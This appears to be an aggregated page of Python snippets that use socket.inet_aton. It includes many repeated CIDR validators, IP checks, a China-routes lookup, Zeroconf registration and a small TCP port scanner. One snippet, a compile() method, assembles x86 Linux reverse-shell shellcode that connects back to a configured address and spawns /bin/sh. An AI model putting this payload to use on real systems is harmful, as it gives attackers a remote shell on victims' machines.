def is_valid_cidr(string_network):
"""Very simple check of the cidr format in no_proxy variable"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
python类inet_aton()的实例源码
def is_valid_cidr(string_network):
"""Very simple check of the cidr format in no_proxy variable"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_valid_cidr(string_network):
"""
Very simple check of the cidr format in no_proxy variable.
:rtype: bool
"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def single_host(ip):
try:
socket.inet_aton(ip)
except socket.error:
return 'Error: Invalid IP address.'
results = ''
for p in PORTS:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect_ex((ip, p))
socket.setdefaulttimeout(0.5)
state = 'open' if not c else 'closed'
results += '{:>5}/tcp {:>7}\n'.format(p, state)
return results.rstrip()
def single_host(ip):
try:
socket.inet_aton(ip)
except socket.error:
return 'Error: Invalid IP address.'
results = ''
for p in PORTS:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect_ex((ip, p))
socket.setdefaulttimeout(0.5)
state = 'open' if not c else 'closed'
results += '{:>5}/tcp {:>7}\n'.format(p, state)
return results.rstrip()
def ipv4(address):
address = address.replace("http://", "").replace("https://", "")
try:
socket.inet_pton(socket.AF_INET, address)
except AttributeError:
try:
socket.inet_aton(address)
except socket.error:
raise OptionValidationError("Option have to be valid IP address.")
if address.count('.') == 3:
return address
else:
raise OptionValidationError("Option have to be valid IP address.")
except socket.error:
raise OptionValidationError("Option have to be valid IP address.")
return address
def is_valid_cidr(string_network):
"""Very simple check of the cidr format in no_proxy variable"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_valid_cidr(string_network):
"""Very simple check of the cidr format in no_proxy variable"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_valid_cidr(string_network):
"""
Very simple check of the cidr format in no_proxy variable.
:rtype: bool
"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_valid_cidr(string_network):
"""Very simple check of the cidr format in no_proxy variable"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_valid_cidr(string_network):
"""
Very simple check of the cidr format in no_proxy variable.
:rtype: bool
"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_valid_cidr(string_network):
"""Very simple check of the cidr format in no_proxy variable"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def __init__(self, chnroutes, blacklists, using_rfc1918):
self.china_subs = []
self.blackips = set()
for sub in chnroutes:
(l, h) = self.convert(sub)
if l and h:
self.china_subs.append((l, h))
for ip in blacklists:
try:
self.blackips.add(struct.unpack('>I', socket.inet_aton(ip))[0])
except socket.error:
continue
if using_rfc1918:
self.china_subs.append(self.convert("192.168.0.0/16"))
self.china_subs.append(self.convert("10.0.0.0/8"))
self.china_subs.append(self.convert("172.16.0.0/12"))
self.china_subs.sort()
def convert(self, net):
parts = net.split('/')
if len(parts) != 2:
return (-1, -1)
ip_s, mask_s = parts[0], parts[1]
if ip_s and mask_s:
try:
ip = struct.unpack('>I', socket.inet_aton(ip_s))[0]
except socket.error:
return (-1, -1)
mask = int(mask_s)
if mask < 0 or mask > 32:
return (-1, -1)
hex_mask = 0xffffffff - (1 << (32 - mask)) + 1
lowest = ip & hex_mask
highest = lowest + (1 << (32 - mask)) - 1
return (lowest, highest)
def is_in_china(self, str_ip):
'''binary search'''
try:
ip = struct.unpack('>I', socket.inet_aton(str_ip))[0]
except socket.error:
return False
i = 0
j = len(self.china_subs) - 1
while (i <= j):
k = (i + j) // 2
if ip > self.china_subs[k][1]:
i = k + 1
elif ip < self.china_subs[k][0]:
j = k - 1
else:
return True
return False
def is_valid_cidr(string_network):
"""
Very simple check of the cidr format in no_proxy variable.
:rtype: bool
"""
if string_network.count('/') == 1:
try:
mask = int(string_network.split('/')[1])
except ValueError:
return False
if mask < 1 or mask > 32:
return False
try:
socket.inet_aton(string_network.split('/')[0])
except socket.error:
return False
else:
return False
return True
def is_ip(address):
"""
Returns True if address is a valid IP address.
"""
try:
# Test to see if already an IPv4 address
socket.inet_aton(address)
return True
except socket.error:
return False
def address(self, address):
inet_aton(address)
self.__address = address
def compile(self, state = None):
bytes = (
"\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0"
"\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68"
) + inet_aton(self.address) + (
"\x66\x68"
) + pack("!H", self.port) + (
"\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
)
if "\x00" in bytes:
self.remove_encoding("nullfree")
else:
self.add_encoding("nullfree")
return bytes
def localnet_register(host, port):
'''
Runs a never-exiting thread which only registers a local network service
via Zeroconf and then responds to info requests.
'''
try:
from zeroconf import ServiceInfo, Zeroconf
from time import sleep
except ImportError as e:
logging.error(
'Zeroconf not installed, cannot register this server on the local '
'network. Other players may still connect, but they must be told '
'what your hostname and port are (hostname: {}, port: {})'.format(
host, port))
return
advertised_interface = local_address('127.0.0.1')
info = ServiceInfo(
"_defusedivision._tcp.local.",
"{}{}._defusedivision._tcp.local.".format(
host.replace('.', '-'), advertised_interface.replace('.', '-')),
address=socket.inet_aton(advertised_interface),
port=int(port),
weight=0,
priority=0,
properties=b"")
zc = Zeroconf()
zc.register_service(info)
atexit.register(lambda: zc.close())
while True:
sleep(0.1)